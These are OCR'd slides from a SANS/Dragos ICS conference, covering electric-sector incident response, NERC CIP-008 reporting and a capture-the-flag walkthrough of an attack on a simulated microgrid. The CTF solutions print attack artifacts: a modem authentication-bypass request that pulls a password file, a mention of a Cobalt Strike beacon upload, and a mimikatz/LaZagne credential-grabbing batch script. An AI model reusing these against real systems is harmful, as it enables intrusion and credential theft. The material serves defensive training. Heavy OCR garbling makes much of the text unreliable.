Supervisory Control Elements
(Network, Applications, Servers)

wi o BB

Engineering alzrm Application

Workstation — HMI e —

Common & Industrial Protocols

Historian

LEVEL 2

Control Elements

(PLCs, RTUs, SIS) ﬁ

Industrial Protocols

Gy me

Remote
Support
LEVEL 1
Sensors & Actuators Fieldbus using Industrial Protocols

LEVEL O




STAGE |

Cuber Infrusion Preparation oand Executiaon

PLANNING Reconnaissance

PREPARATION Weaponization

ATTEMPT
CYBER :
INTRUSON
SUCCESS . Stage | mimics a
Install/Modify targeted and structured
attack campaign.
MANAGEMENT & ENABLEMENT
SUSTAINMENT, ENTRENCHMENT Act

DEVELOPMENT & EXECUTION

Discovery Movement Install/Execute

Exfiltrate

Collect

Capture

Clean/Defend

Stage 1 activity will appear
IT-focused and blend in
with other IT related scans,
malware, and general
noise.

Based on the Cyber Kill Chain™ model from Lockheed Martin

https://ics.sans.org/ics-library




Defender Focus Across IT and OT

External Network Hosts
(Business or Plant Network)

Common Protocols

e Attacks from corporate
IT networks that pivot
to higher trust OT
environments Nowork. Apaications, Semvers)

D 3

* Attacks from partner D g j! --- !! E
o
L]

DMZ Applications

Common Protocols

AN
. @ (I

Histerian

Common & Industrial Protocols

corporate IT networks rancerine amm AepiCaEOn  icyonen
that pivot to OT

* Attacks from vendor
support IT networks
that pivot to remote OT
environments

Workstat ion Sorwers

Control Elements Industrial Protocols

(PLCs, RTUs, SIS) @ E E \-‘ ’
| | g ‘
----------------- H]i 7|?: Local HMI ﬁ

Sensors & Actuators 10 Fieldbus using Industrial Protocols




Defender Focus Across IT and OT

Support services and
business applications
targeted to pivot
Maintenance and
troubleshooting
capabilities for remote
access that can be
targeted to access the
OT environment

External Network Hosts
(Business or Plant Network)

Common Protocols

DMZ Applications

Common Protocols

Supervisory Control Elements '
(Network, Applications, Servers) i
1
1

Engineering Alarm Application Historian

Workstation SErWErS Servers

Industrial Protocols

Control Elements
(PLCs, RTUs, SIS) ' Vs

\ " Il
w'], TE' Local HMI

Sensors & Actuators 10 Fieldbus using Industrial Protocols




STALE 2

ICS Aftock Development oand eExecution

Execute ICS Attack

ATTACK DEVELOPMENT & TUNING
VALIDATION
1CS ATTACK

Execute ICS Attack

Enabling Attack Initiating Attack

Supporting Attack

Stage 2 shows the steps associated with a material attack that requires high confidence.




Defender Focus Across IT and OT

External Network Hosts
(Business or Plant Network)

Common Protocols

Utilize engineering
workstation to obtain
connectivity, and
configurations to
develop an OT attack
Mis-operate the control
system through an
operator workstation
Send manipulated
commands to field
devices through net

Common Protocols

DMZ Applications NN

R o

Histerian

Supervisory Control Elements Common & Industrial Protocols

(Network, Applications, Servers)

Engineering Alarm Application Historian

Workstation [—— Servers

Control Elements Industrial Protocols

0 = g T g
el g ‘
--------------- H]i 7|?: Local HM 1 ﬁ

Sensors & Actuators 10 Fieldbus using Industrial Protocols




Defender Focus Across IT and OT

Supply chain — build,
ship, support,
integration, operation
Exploits for

vulnerabilities — Access,

Denial, Manipulation
Combination attack
targeting equipment

External Network Hosts
(Business or Plant Network)

Common Protocols

DMZ Applications

R o

Common Protocols

AN

Histerian

Supervisory Control Elements
(Network, Applications, Servers)

Engineering
Workstation

Alarm
SErwers

Common & Industrial Protocols

Application
SEryers

Historian

Control Elements

(PLCs, RTUs, SIS) @

Industrial Protocols

Local HMI

£ "

Sensors & Actuators 10

Fieldbus using Industrial Protocols




Defender Focus Across

IT and OT

External Network Hosts
(Business or Plant Network)

Common Protocols

DMZ Applications

Patch Deplayment
Server

| AR

Common Protocols

Histerian

Supervisory Control Elements !
(Network, Applications, Servers) i
1
1

il P e

Engineering
Workstation

Alarm
Sereers

Common & Industrial Protocols

Application
SEryers

Historian

Control Elements

(PLCs, RTUs, SIS) m

Industrial Protocols

iy Local HMI

Sensors & Actuators

Fieldbus using Industrial Protocols
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ICS Defender Gap Reduction

Attacker Stage 2 ICS ICS Attack ICS Attack
Stage 1 C2 Capability Development Delivery Execution
Attacker Action Attack Attack Adjustments
Pivot to ICS Validation & Modification

Detection to Containment

[ ICS Compromise to Detection Gap

Gap [ Containment to

Remediation Gap

|

Common IT ICS Asset ICS Threat Containment &
Security Controls Hardening & Controls Detection Eradication
Traditional ICS ICS Situational Awareness Incident Recover Operational

Perimeter Controls & Data Protection Declared Integrity






Resource Needs for Usefulness

o Anomaly Detection

©

3

5 | Threat Behayior Analytics @

] Full integrated visibility,

] larger dedicated teams
g dedicated budgets
£ _ Network Whitelisting

2 . Near complete

. ' ViSibirI::é,S)r(f:snded

c | Limited visibility,

» existing resources

2 |

L
Host Only Net Tap  Limited Span ~ Robust RT Net  Aggregation ISOC Operations

Capture

Collection Nodes

Data Source Collection Capabilities

Integration



Adoption

Slow Moving Cautious Industry...... until

—» Digital Assets = Protocols = Remote Access =+ Detection

85-90
90-95
95-00
00-05
05-10
20-25

COVID
>COVID






Operations Impacts

Aftoecker Objectives

LOSS

* Loss of View
« Loss of Control

D&NIAI_

Demal of View

« Denial of Control

* Denial of Safety
NIPULATIO N

Manipulation of View
* Manipulation of Control

» Manipulation of Sensors
and Instruments

» Manipulation of Safety

Well defined plans for loss of view
and loss of control at small scale or
for short periods of time

Plans do not completely address
events when systems are available,

but do not perform the functions
required or expected

Plans do not address events when
systems are available, but someone
else is in control of them




Operational Response

System operators are continuously trained to ensure system reliability and how to respond in
emergencies to recover from outages. The cyber operators who support the underlying technologies
need to be trained in this way as well and integrate operations into all phases of the response plan.

Lessons
Learned

- Cy

Preparation Identification Containment Eradication  Recovery

L Practice IR L Evidence QO Determine ' O Regain O What actions
through acquisition where an root cause integrity of were taken to
exercises and analysis adversary or initial control prevent

QO Train the O Information would need to infection system similar attack
team sharing be to achieve point that U Determine QWas

internal and [fj _ the effect impacted ‘r’g;?gréo 'S”rfggndat'on
external - IsS;s!?et?n tgf Sv%esratlons s Sooively

isolate control : " control
identified capabilities




Learn from Operations

Training

Planning and Analysis
Load Shed

Emergency Operations
Blackstart




Work With Operations

Cyber contingency analysis (continuous analysis and preparing the system for the next event)

Cyber failure planning (modeling and testing cyber system response to

network and asset outages) Ope rat|0na I |Ze

Cyber conservative operations (Intentionally eliminating planned and yo ur Cybe r
unplanned changes, as well as stopping any potentially impactful processes)

defense and

Cyber load shed (Eliminating all unnecessary network segments, communications,

and cyber assets that are not operationally necessary) res p onse
Cyber RCA (Root Cause Analysis forensics to determine how an impactful event
occurred and ensure it is contained) d p p roac h

Cyber blackstart (cyber asset base configurations and bare metal build capability to restore the
cyber system to a critical service state)

Cyber mutual aid (ability to utilize ISACs, peer utilities, law enforcement and intelligence agencies,
as well as contractors and vendors to respond to large scale events)






Classify

e Cyber Security Incident:
* A malicious act or suspicious event that:

* Compromises, or was an attempt to compromise, the Electronic Security
Perimeter or Physical Security Perimeter

 Disrupts, or was an attempt to disrupt, the operation of a BES Cyber
System

Reportable Cyber Security Incident:

* A Cyber Security Incident that has compromised or disrupted one or more
reliability tasks of a functional entity



Classify: CSI

Compromise

Disrupt

Physical Security Perimeter

’

’--------------~

Electronic Security Perimeter

BES Cyber
System

~--------------_’

S

\

R e ————

4



Classify: RCSI

BITTTTTTTITITTT

Compromised or Disrupted Reliability
Task

16181 RON 1 2014




concerns

LITTLE BOBBY _ by Robert M. Leead Jeff Haas

OKAY=-- N
NOW WE
HAVE ONE
HOUR TO
REPORT IT,




Change Is Coming Jan 1, 2021

164 FERC 61,033
UNITED STATES OF AMERICA

FEDERAL ENERGY REGULATORY COMMISSION

18 CFR Part 40

[Docket No. RM18-2-000; Order No. 848]
Cyber Security Incident Reporting Reliability Standards
(Issued July 19, 2018)
AGENCY: Federal Energy Regulatory Commission.

ACTION: Final rule.

SUMMARY': The Federal Energy Regulatory Commission (Commission) directs the

North American Electric Reliability Corporation (NERC) to develop and submit

modifications to the NERC Reliability Standards to augment the mandatory reporting of
Cyber Security Incidents, including incidents that might facilitate subsequent efforts to

harm the reliable operation of the bulk electric system (BES).

Report—-compromise, or attempt
to compromise, the ESP or
associated EACMS

Require minimum reporting
detail

Reporting timeline

Reporting to DHS as well as E-
ISAC

NERC to develop summary
reports to FERC



CIP-008 R4 — Notifications and Reporting for Cyber Security Incidents

* Notify E-ISAC and NCCIC of Reportable CSI and attempts to
compromise: ©

e Initial notification and updates to include:

* Functional impact
* Attack vector used; and
* Level of instruction achieved or attempted

* Initial notification:

* within 1-hour of determination of Reportable CSI,
* end of next calendar day after attempt to compromise

» Update E-ISAC and NCCIC within 7-days of learning new attribute
information




Predicting the Future

Out of Scope
L Entities will develop very specific FW

definitions of the term “attempt”
dIntroduction of the “Firewall
Sandwich”

I NCCIC will get very confusing
reports and will be overwhelmed
with noise, as will asset owners
and operators

- o

e e - -



Executive Order to Securing the US BPS

* Work through potential modifications to CIP-013

* Understand scope of intent around achieving
implementation

 Applicability to non bulk power system assets
 Applicability to operational cyber components

* Implementation across bulk power assets that are non
US geographically and potentially those that are
owned / operated by non US orgs

Department of Energy

President Trump Signs Executive Order
Securing the United States Bulk-Power
System

MAY1,2020



RESOURCES AND CONTACT INFORMATION

SANS INSTITUTE
11200 Rockyille Pike

Suite 200

North Bethesda, MD 20852
301.654.SANS(7267)

CONTACT
Tim Conway
tconway(@sans.org

ICS RESOURCES
https://ics.sans.org
https://ics-community.sans.org/
Twitter: @sansics

SANS EMAIL

GENERAL INQUIRIES: info@sans.org
PRESS/PR: press@sans.org


mailto:tconway@sans.org
mailto:info@sans.org

DISC: SANS ICS

’ DRAGCO Virtual Conference

May 1,2020 | 10am-6pm EDT

Please provide feedback

Session: Electric Sector Incident Response
Presenter: Tim Conway

https://sansurl.com/electric-sector-ir

Thank you!

#DISCSANS


https://sansurl.com/electric-sector-ir

SANS / DRAGOS

Cyberville Microgrid
CTF Challenge

Jon Lavender Austin Scott
Dragos Chief Technology Officer Dragos ICS Penetration Testing Principal

DRAGCOS



DISC ICS NetWars

And the Winners Are...

DRAGC
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THE CYBERVILLE MICROGRID
NETWORK OVERVIEW

Battery Network (Schneider) o -— Solar Panel Network (Siemens)

Combined Cycle BOP (Rockwell) Substation Network (SEL)
AT
Wind Turbine Network (OPC) @?’ Site Office Network

&

DRAGS




CYBER INCIDENT
CYBERVILLE MICROGRID

C2 Server

Internet Exposed

Cellular Modem
. |

Battery HMI

& o " rmrmemem

Schneider Modbus
Slaves

4 B
/ Historian
N4 ‘ <4 -
DRAGCS “ @ W




C2 Server Address

Level 3 —Flag 1

There has been an unscheduled outage of [eRN RSN

the Cyberville Energy Center. Our initial Flag:

root cause analysis has led us to believe 195.208.218.11
that this is a Cyber event. We maintain a Hint:

rolling Packet Capture of the ICS network
traffic that we have provided to you.
Please search for and identify the IP
address of the C2 Server.

None

DRAGCS
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Crack in the Armor

Level 3 — Flag 2

We believe that the DIGI WR-21 cellular
modem was used as the initial access point
into the network. Although this device was
connected directly to the Internet, no ports or
services were open. We have no idea how the
adversary was able to gain access to this
device. Something appears to have remotely
disabled the device's firewall. Can you
investigate the initial access method into the
WR-217

DRAGCS

Points: 10

Flag:
{magic-ping-do-your-thing}
Hint:

Look for something
magic.



Level 3 — Flag 2

Now that we have identified the C2 server, filter the traffic in Wireshark by that
IP:

ip.addr == 195.208.218.11

Review some of the initial traffic to the device. Filter the traffic also by ICMP:
ip.addr == 195.208.218.11 && icmp

View the ICMP traffic and you will notice a series of packets that look out of
place. They all have an ICMP sequence number of 256.

Filter by the ICMP sequence number 256

ip.addr == 195.208.218.11 && icmp.seq == 256

There is a magic ping containing the flag value




Crack in the Armor

(I |ip.addr == 195.208.218.11 && icmp.seq == 256

No. Time Source Destination Proto Len¢ Info
2792.13253@  195.208.218. 103.82.4.84 TCMP 68 Echo (ping) request id=8x71b7, seq=256/1,
2792.132531 103.82.4.84 195.208.218.11 TCMP 68 Echo (ping) reply id=0x71b7, seq=256/1,
2792.132531  195.208.218. 103.82.4.84 TCMP 68 Echo (ping) request id=8xefb3, seq=256/1,
2792.132531 103.82.4.84 195.208.218.11 TCMP 68 Echo (ping) reply id=@xefb3, seq=256/1,
2792.134451  195.2088.218. 103.82.4.84 TCMP 68 Echo (ping) request id=8x97c4, seq=256/1,
2792.134452 103.82.4.84 195.208.218. TCMP 68 Echo (ping) reply id=0x97c4, seq=256/1,
2792.134452  195.2088.218. 103.82.4.84 TCMP 68 Echo (ping) request id=8x5145, seq=256/1,
2792.134452 103.82.4.84 195.208.218. TCMP 68 Echo (ping) reply id=0x5145, seq=256/1,

<

% Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: @

Checksum: ©x8824 [correct]
[Checksum Status: Good]
Identifier (BE): 29111 (@x71b7)
Identifier (LE): 46961 (@xb771)
Sequence number (BE): 256 (@x9100)
Sequence number (LE): 1 (@xeeel)
Response frame: 44713
% Data (26 bytes)
Data: 7b6d616769632d70696e672d646T2d796T7570

@2 @4 2d 05 c4 2b 50 dc e7 21 fa bd 08 20 45 @& ---+p- - E
88 36 d7 64 40 00 40 @1 59 €@ c3 do da Ob 674 6-d@-@- Y gR

0620 04 54 08 00 88 24 71 b7 01 00 PTG {magid]
EECINOd 70 69 6e 67 2d 64 6f 2d 79 6f 75 72 2d 7. 6§ do -~your—tl
LI MGO 6e 67 7d ing)




Foothold
Level 3 — Flag 3

Once the firewall was dropped on the WR-21 Points: 10

cellular modem, the adversaries appeared to .

have enabled and gained access to the HTML Flag:

interface and the HTTP RCl interface. We are {flag_auth_bypass}
not sure how they were able to accomplish S o ¢

this as we use a 23 character complex P )
password to secure this interface. Somehow Robinson Cano, a

the adversary was able to obtain our complex REEREEERREERENTISETT
password and use it to log into the device. the New York Mets,
Can you investigate how the adversary was is currently ranked
able to gain administrator access into the il i hits
HTML interface? Lo base fiits.

DRAGCS



Foothold - Solution
Level 3 Flag3

The adversary leverages a content whitelisting bypass to perform unauthenticated
command execution over the DIGI RCI interface.

Filter the traffic in Wireshark by the IP of the C2 server:

ip.addr == 195.208.218.11

Review the traffic. Filter by HTTP also to narrow down the exploit traffic:
ip.addr == 195.208.218.11 && http

Further filter by the odd Python User Agent:

ip.addr == 195.208.218.11 && http && http.user_agent == "Python-urllib/2.7"
And you will see the rci bypass.png post

Apply wireshark filter:

http.request.uri == "/UE/rci/bypass.png"

Right click and Follow -> HTTP Stream

Base64 decode the response to find the flag. D R AG O



Foothold

(I |ip.addr == 195.208.218.11 &®& http && http.user_agent == "Python-urllib/2.7" [X] -] +

No. Time Source Destination Proto Lenc Info ~

2965.183719 195.2@8.218. 103.82.
2980.213426  195.208.218. 103.82.
2995.2308266  195.2088.218. 103.82
3019.241486  195.2088.218. 103.82
3012.202958 195.208.218. 103.82.
3027.231488  195.288.218. 103.82.
3027.231955 195, .218.
3027.253054 195.288.218.
3048.415573  195.288.218.

IS

84 HTTP 34@ POST /login.asp HTTP/1.1 (applicationy
84 HTTP 344 POST /login.asp HTTP/1.1 (applicationy
84
84 M Wireshark - Follow HTTP Stream (tcp.stream eq 4786) - Cyberville_Energy_Center_CTF.pcapng
84

84 POST /UE/rci/bypass.png HTTP/1.1
84 Accept-Encoding: identity
Content-Length: 114
=l Host: 183.82.4.84
84 Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: Python-urllib/2.7

PR RrRRBRRRDR

<rci_request version="1.1"><do_command target="file_system"><get_file name="pwds.da@"/></do_command></rci_request>HTTP/1.1 200 OK

Frame 66996: 375 bytes on wire (3000 bits), 375 bytes captured ( E::E:TE;&;F:SQE:; pr—
: B

Ethernet II, Src: AmazonTe 21:fa:bd (5@:dc:e7:21:fa:bd), Dst: Sa Expires: Thu, 26 Oct 1995 ©0:80:00 GMT
Internet Protocol Version 4, Src: 195.208.218.11, Dst: 103.82.4.§ | ransfer-Encoding: chunked

Server: GoAhead-Webs
Transmission Control Protocol, Src Port: 43182, Dst Port: 80, Se

fEEimar TremEiEr e sl <rci_reply version="1.1"><do_command target="file system"><get file
= = name="puds . da@"><data>Y29uZmlnIGxhc3Rfc2F2ZWR fc2FmZSAIMDMEMDUBNT ks IDAXT EphbiAyMDAWIgeKY29uZmlnIGxhe 3RFc2F 2ZWRfc2FmZV9jaGFuZ2VzICIxTgBKY29uZmlnIGxhe 3RFC2F 220
HTML Form URL Encoded: application/x-www-form-urlencoded Rfc2FmZV91c2VyICI7ZmxhZ19hdXRoX215cGFzc30iDQpwcHAgMSBLcGFzc3dvemQg Ikt ENWxTVkpEV1ZnPS INCnVzZXIgMCB1cGF zc 3dvemQgIkVAbEdWVTRmSGxjQURVVKVCQMRHRKFnRFhoNERIMHC9Ig
OKdXNLciAXIGVWYXNzd29yZCAiTnpaY2Zt THNUUTRDQKVZY1JoTWVCUFhjQXg@PSINCnV2ZXIgMiBlcGF ze3dvemQgI1BDeHd Tall TUWEBY1dFY1NYeF IVRndBSEFRVUVIRVK9OIgOK< /data></
get_file></do_command></rci_reply>

1 dlient pkt. 1 server pkt. 1 tumn.

ey &d Entire conversation (1046 bytes) Show and save data as ASCII

s i_ request

version= "1.1"><d Find: ‘ Find Next
o_comman d target —
="file s ystem"><
get_file name="c Filter Out This Stream Print Save as... Close Help
onfig.da @"/></do
_command ></rci_r
equest>




Foothold — Solution
Base64 Decode Results

config last saved safe "03:05:59, 01 Jan 2000"
config last saved safe changes "1"

config last saved safe user "{flag auth bypass}"
ppp 1 epassword "KD51SVIDvVvg="

user @ epassword "Ex1GVU4fH1cADUVEBBAGFAgDXh4HHOw="
user 1 epassword "NzZcfmMcTQ4CBEsbRhMeBR8cAx4="
user 2 epassword "PCxwSkRHQktbWEcSXxYUFwWAHAQUEHEY="

243



QFD Detalls :: ﬁ e admin v
Press |F11 | to exit full screen
Map
o Actions ¥
Assets
HTTP Sessions
=] 1-30f3 ¢ >
Data
Time src_ip dst_ip dst_port method host uri status_code status_msg
E »  April 24th 2020, 12:48:02.826  195.208.218.11 103.82.4.84 80 POST 103.82.4.84 JUE/rci/bypass.png 200 OK
Notifications ~  April 24th 2020, 12:47:49.625 195.208.218.11 103.82.4.84 80 POST 103.824.84 /UE/rcifbypass.png 200 oK
Table JSON L View surrounding documents J[ View single document
Content
# 1Ingest Delay Qam 263
!:I t _id aam L3w-rHEBQZC-11Qn2293
Baselines Tt _index aQaQm pipeline_20200424
# _score o] -
" | T _type @ @ @ * _doc
Reports t collectorid @ Q@ @ * collectorbond2
T customerId @ Q M * pemodev
(@] t dst_asset_id Qam#* 18
Sensors t dst_ip @ QM * 103.82.4.84
t dst_ip_id QQm*x 24
¢ # dst_port QQm* 80
Admin
7 headers D% A

ACCEPT-ENCODING|identity, TRANSFER-ENCODING|chunked, CONTENT-LENGTH|114, SERVER|GoaAhead-webs, CONTENT-TYPE|application/x-www-form-urlencoded, CONTENT-TYPE|text/html, EXPIRES|Thu, 26 oct 1995 00:00:00
GMT, CONNECTION|close, USER-AGENT|Python-urllib/2.7, CACHE-CONTROL|no-cache,no-store, HOST|103.82.4.84:80

t  host @ Q@ % 103.82.4.84
7 host_asset_id Mm%k A 18
t host_id QQD* 24

© dngest_timestamp @ @ [0 % april 24th 2020, 12:52:12.770

Tt Tlog_type Q@ Q@ * HITP
t method @ Q @ % PosT
t midpointid @ Q M * midpointol

7 orig_fuids @ % A Feuxrilrektddeprsh




Firmware from where

Level 3 — Flag 4

There appears to be unauthorized
modifications to the Firmware of the DIGI
WR-21 that have allowed the adversary to use
DIGI WR-21 cellular modem as a pivot point
into the Lithium-lon energy storage network.
We need you to investigate any firmware
modifications that could have been made to
the DIGI to enable remote access from the
adversary's command and control server.

DRAGCS

Points: 10
Flag:

{Kyberite Wuz_here}
Hint:

The adversary may
have performed this

attack from a
different public IP
than their C2 server
address.



Firmware from where - Solution @
\{/

We are looking for some sort of file upload over http. Just to keep us guessing, the
Adversary pivoted to another external IP address before uploading the firmware.

To find this flag we will need to filter by the ip address of the DIGI modem and the HTTP
POST method:

ip.addr == 103.82.4.84 && http.request.method == "POST"

We can see the firmware file upload:

http.request.uri.path == "/uploadfile"

A Python file has been uploaded in plaintext.

View source code of the Python Cobalt Strike DIGI WR-21 Beacon to find the flag

DRAGCS



Firmware from where

4 Wireshark - Follow HTTP Stream (tcp.stream eq 5074) - Cyberville_Energy_Center_CTF_4.pcapng  —

[ | http.request.uri.path == "/uploadfile

No. Time Source Destin
84416 3424 .434844 192.41.148.220 103.82 .4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://103.82.4.84/edit.asp

Content-Type: multipart/form-data; boundary= 1552113115670847622273060098
Content-Length: 3466

Connection: keep-alive

Cookie: SID=12bc915ca%90a82485656400aeaca5803

Upgrade-Insecure-Requests: 1

Hypertext Transfer Protocol

% MIME Multipart Media Encapsulation, Type: multipart/form- 1552113115670847622273060098

[Type: multipart/form-data] Content-Disposition: form-data; name="edit"
First boundary: 1552113

Encapsulated multipart part:
Content-Disposition: form-data; name="edit"\r\n #

W Data (3297 bytes) # Cobalt Strike Beacon Module for the DIGI WR-21

Data: 20230d0a23204367626167420537472696b6) | 4 AllegBH0F Cobalt Strike Cc@agan forwarding using the Python 2.6 interpreter

[Length: 3297] P = = o .

running on a Digi cellular modedp, gateway device
Last boundary: \r\n )
# Author: {Kyberite_Wuz_here}

<

S

2200 @0 @4 2d @5 c4 2b @0 @4 2d 20 8c da @8 20 [E ee 7 ekt 1 sgryerpkj; 71 turn.
@4 e7 a9 7b 40 @00 48 86 cb e9 @ 29 94 dc 67 52 {e-@
@4 54 97 80 @@ 50 43 6b 7d ec 4e 43 08 70 50 18 T---PCk H = =
a0 B4 63 00 OB 74 28 73 6F 63 €b 65 74 2 41 c.+( 4 | Entire conversation (4446 bytes) Show and save data as ASCII v
46 5f 49 4e 45 54 2c 73 6f 63 6b 65 74 2e 53 4f  F_INET,s of

43 4b 5F 53 54 52 45 41 4d 29 od @a 20 20 20 28 CK STREA M| i 1. ‘ -
20 20 20 20 73 65 6C 66 2e 73 65 74 5F 72 65 75 self . Find: Find Next

Filter Out This Stream Print Save as... Close Help




Post Exploitation Tools

Level 3 — Flag 5

We believe that the adversary transferred SR RIRS-IE:

a number of Post Exploitation tools into Flag:

the Battery network. Can you investigate {these_ARE_the_droid
these tools and see if there is any unique  [EERARECICEELELC UL
tradecraft leveraged by this adversary? "}

DRAGCS



Post Exploitation Tools
Level 3 Flag5

It appears the adversary used HTTP to transfer files from the DIGI to the Battery HMI.
ip.addr == 10.10.10.0/24 && http.request.method == "GET"

We can see that a number of files are transferred from a folder called PostExploitation
on the DIGI modem.

We can filter by that URI:

http.request.uri contains "/PostExploitation/"

One of the first files that is transferred is:
/PostExploitation/%21nothingtoseehere.cmd

Right Click on the Packet and select: Follow -> HTTP Stream

View the source of the file to collect the flag




http.request.uri contains "/PostExploitation/"

=
o

Time Source Destination Protoc Lenc Info
. 3456.328756 10.10.10.
. 3462.234916 10.10.10.
. 3505.202521 10.10.10.
. 3534.635089 10.10.10.
. 3542.900515 10.10.10.
. 3546.743900 10.10.10.
. 3548.745812 10.10.10.
. 3555.313434 10.10.10.
. 3558.233029 16.10.10.
. 3563.153774 16.10.10.
. 3568.330682 16.10.10.
. 3583.536647 16.10.10.
. 3588.138236 16.10.10.
. 3592.224871 16.10.10.
. 3593.408921 16.10.10.
. 3595.281740 16.10.10.
. 3600.050992 16.10.10.
. 3603.177155 16.10.10.
. 3604.424804 16.10.10.
. 3608.986470 16.10.10.
. 3612.451045 16.10.10.
. 3616.034294 1e.1e.186.
. 3617.618357 1e.1e.186.
. 3622.072903 1e.1e.186.
. 3625.092267 1e.1e.186.
. 3632.354587 1e.1e.186.
. 3636.216793 1e.1e.186.

10.10.10.11 HTTP 312 GET /PostExploitation/ HTTP/1.1

10.10.10.11 HTTP 382 GET /PostExploitation/#21lnothingtoseehere.cmd HTTP,

10.10.10.11 HTTP 363 GET /PostExploitation/x86/ HTTP/1.1

10.1@.108.11 HTTH M Wireshark - Follow HTTP Stream (tcp.stream eq 5139) - Cyberville_Energy_Center_CTF_4.pcapng
10.10.10.11 HTT]
10.10.10.11 HTT]
10.10.10.11 HTT]

10.10.10.11 HTT] Egoroa

10.10.10.11 HTTH | title Grabbing pass...
10.10.10.11 HTT] @echo off

10.10.10.11 HTTf | @echo Gl pass...
10.10.18.11 wrri | @echafiunot close this window...

eq o
10.10.16.11 L ge jo {these_ARE_the_droids_you_are_looking_for}
16.10.10.11 HTTH | @ell
16.10.10.11 HTT
10.10.16.11 HTT | od /d %,
16.10.10.11 HTT
16.10.10.11 HTT
16.10.10.11 HTT
10.10.10.11 HTTH | .\mimikatz\x64\mimikatz.exe "privilege::debug" "log .\!logs\Result.txt" "sekurlsa::logonPasswords
10.10.10.11 HTTf  “lsadump::sam” exit
18.10.10.11 urTH | -\mimikatz\x32\mimikatz.exe "privilege::debug” "log .\!llogs\Result.txt" "sekurlsa::logonPasswords
"lsadump::sam" exit

mode con: cols=50 lines=30

md !logs
if %PROCESSOR_ARCHITECTURE%==AMD64 (

‘token::elevate”

"token::elevate"
10.10.10.11 HTTI

16.10.16.11 HTTH 1) else (.\mimikatz\x32\mimikatz.exe "privilege::debug" "log Result.txt" "sekurlsa::logonPasswords" "token::elevate"
10.10.16.11 HTTH | "Isadump::sam" exit)

10.10.18.11 HTT
10.10.10.11 urTH | -\mimikatz\miparser.vbs .\!llogs\Result.txt
\\lazagne\lazagne.bat

8..
8..
ps
ps
ps
i
i
i
i
i
i
i
i
i
i
il
il
il
il
il
il
il
il
il
il
il
il

WoW W oWw W Ww W Ww W Ww oW W W W W W W W W W W W W W W W W

if %PROCESSOR_ARCHITECTURE%==AMD64 (
REM start .\passrecpk\BulletsPassView.exe
start .\passrecpk\BulletsPassView64.exe




Notifications

Content

LN

Baselines

Reports

@

Sensors

m A Downloaded file hit on: mimikatz

DETECTED BY:

Mimikatz Detection

PLAYBOOKS:
Mimikatz-Associated File Detected

DETECTION QUAD:

Indicator

ICS ATT&CK TECHNIQUE:
Remote File Copy

ICS CYBER KILLCHAIN STEP:
Stage 1 - Delivery

OCCURRED AT:
04/24/20,12:58 PM UTC

WHAT HAPPENED:

SOURCE: ASSOCIATED ASSETS

MARK AS REAI

Viewing Time Range: 12:30 PM to 1:00 PM 04/24/20 UTC

529250ec-4970-407e-b7fc-279¢c4e136b70
View B Type
CASES:

No Cases Linked ‘ Asset
ICS ATT&CK TACTIC:
Initial Access, Lateral Movement, ... VIEW q Asset

ACTIVITY GROUP:
ELECTRUM

QUERY-FOCUSED DATASETS:

FileDownload, Yara, ...

ZONES:
Zone 1 (Inactive)

Asset 43 downloaded a file with sha256 hash of 446f84069e825062d1d56971b75783671ebc4feb1988950701065d9¢c18a3e7941 from 11 which

matched the mimikatz file signature rule.

RELATED NOTIFICATIONS (0)

b = Occurred At

Summary

No Related Notifications.

Name s Dir =

n Asset 11 10.10.10.11 src

43 Asset 43 10.10.10.3  dst

PIVOT TO KIBANA CREATE A RULE CREATE CASE NEXT >




Where is the Schneider HMI?

Level 3 — Flag 6

We believe that one of the initial Points: 3
footholds for the Adversary was the Flag:
Schneider HMI in the Battery Network. 19.10.10.3
What is the IP address of the HMI?

DRAGCS



Where is the Schneider HMI?
Level 3 Flag6

Statistics -> Conversations -> Sort by Port B.
Review all modbus ports 502.
Observe 10.10.10.3 is polling most of the modbus slaves.

Or you can see where the Post Exploitation tools were copied to. It is the same server
from the previous flag.




ra
La

* Interactive Map o @) e

_ . From To R S
= FILTERING ¥ EI 04/22/20, 05:00 PM UTC 04/30/20,05:15 PM UTC 00 AUTO-UPDATE Q, Search Map x @

131 assets 134links 10 zones

Zones: Unzoned + 9 more Collectors: collectorbond2 + 1 more  Links: Physical, Logical, & Implied Assets: Only Active Asset Limit: 1,500 Protocols: CIP + 20 more

Assets EXPLORE MAP

Viewing Time Range: 5:00 PM to 5:15 PM 04/30/20 UTC

=
Data s = — Name:Asset: 43
X . BRSO - DR

Class: Process-Related User W...

103.82.4.84(2) -
. -
Notifications Type: HMI =
4
Make &
ot Asset ID: 43 First Seen: 04/24/20, 06:54 AM UTC Bl
ontent -~ [
(#) Detected By: midpoint01 Last Seen: 04/24/20, 06:55 AM UTC =
8
ardware eratin stem w
LA Hard Operating Systs b
Baselines
No Attributes 0S: Windows NT 6.1
u S 0S Family: Windows g
Reports g
OTHER ATTRIBUTES g
® 10.10.10.64 City Country Latitude:
) none none none
Sensors
Longitude: Region
F ) (= none none
a — {2
Admin ) + Add an Attribute

10.10.10.67 10.10.10.65 10.10.10.68

ZONES

10.10.10.55
Zones: Battery Network [ Lock Asset to Zone

!E EE ADDRESSES

10.10.10.66 10.10.10.63 10.10.10.69

Address

» 10.70.70.3

Timebar ~




Brute-forcing username

Level 3 — Flag 7

We received some SOC alerts regarding Points: 4

some brute-forcing and a compromised Flag:

account in the Battery network. Can you myuserisaflag
help us to identify the account that was
brute-forced?

DRAGCS



Brute-forcing username
Level 3 Flag 7

The flag description refers to the Battery Network and we should first filter by that
network:

ip.addr == 10.10.10.0/24

Use a display filter to filter by “smb”

ip.addr == 10.10.10.0/24 && smb

Filter by the SMB “Session Setup AndX Command”:

ip.addr == 10.10.10.0/24 && smb.cmd == Ox73

You will see the username that is being brute-forced.




DRAGC

Destination
1.
1.
18.
1.
18.

10.1
18.:
18.:

Brute-forcing username

Proto Lenc

SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB

232
185

232
185

Setup

Setup
Setup
Setup
Setup
Setup
Setup
Setup
Setup
Setup
Setup
Setup
Setup
Setup
Setup
Setup
Setup
Setup
Setup
Setup

Request,

Respons

Respons

Request,

Response,

Request,
Respons

Request,

Response,

Request,

Response,

Request,
Respons

Request,

Response,
